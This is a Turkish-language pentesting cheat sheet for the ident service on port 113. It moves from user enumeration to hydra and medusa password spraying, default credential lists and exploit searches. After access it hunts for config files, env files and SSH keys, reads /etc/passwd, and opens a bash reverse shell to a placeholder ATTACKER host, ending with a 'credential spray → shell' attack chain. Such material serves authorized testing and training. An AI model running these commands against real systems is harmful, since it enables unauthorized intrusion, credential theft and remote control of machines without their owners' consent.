Skip to content

113 - Pentesting Ident

Ident enum

identd, bir TCP bağlantısının hangi OS kullanıcısına ait olduğunu söyler. Servis→kullanıcı eşlemesi spray listesi üretir.

  1. 113 açık mı doğrula.

  2. Hedef portlara bağlanıp ident sorgula.

  3. Kullanıcı listesi üret.

  4. SSH/rsh spreyine aktar.

Terminal window
nmap -Pn -sV -p113 TARGET
Terminal window
nmap -Pn -p113 --script auth-owners TARGET
Terminal window
nc -nv TARGET 113
Terminal window
echo '22, 40000' | nc -w2 TARGET 113
Terminal window
ident-user-enum TARGET 22 80 443 445
Terminal window
nmap -p22,80,445 --script auth-owners TARGET
Terminal window
ident-user-enum TARGET 22 | tee users.txt
Terminal window
hydra -L users.txt -P rockyou.txt ssh://TARGET -t 4

Ident için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p113 TARGET
Terminal window
nmap -Pn -p113 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:113' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',113));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Ident
Terminal window
hydra -L users.txt -P rockyou.txt -s 113 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 113
Terminal window
nmap -p113 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Ident
Terminal window
msfconsole -q -x 'search Ident; exit'
Terminal window
nuclei -u https://TARGET:113 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:113 -tags tech -silent || true
Terminal window
nc -nv TARGET 113
Terminal window
printf '
' | timeout 3 nc -nv TARGET 113
Terminal window
curl -vk --http1.0 http://TARGET:113/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
ident → users.txt → credential spray → shell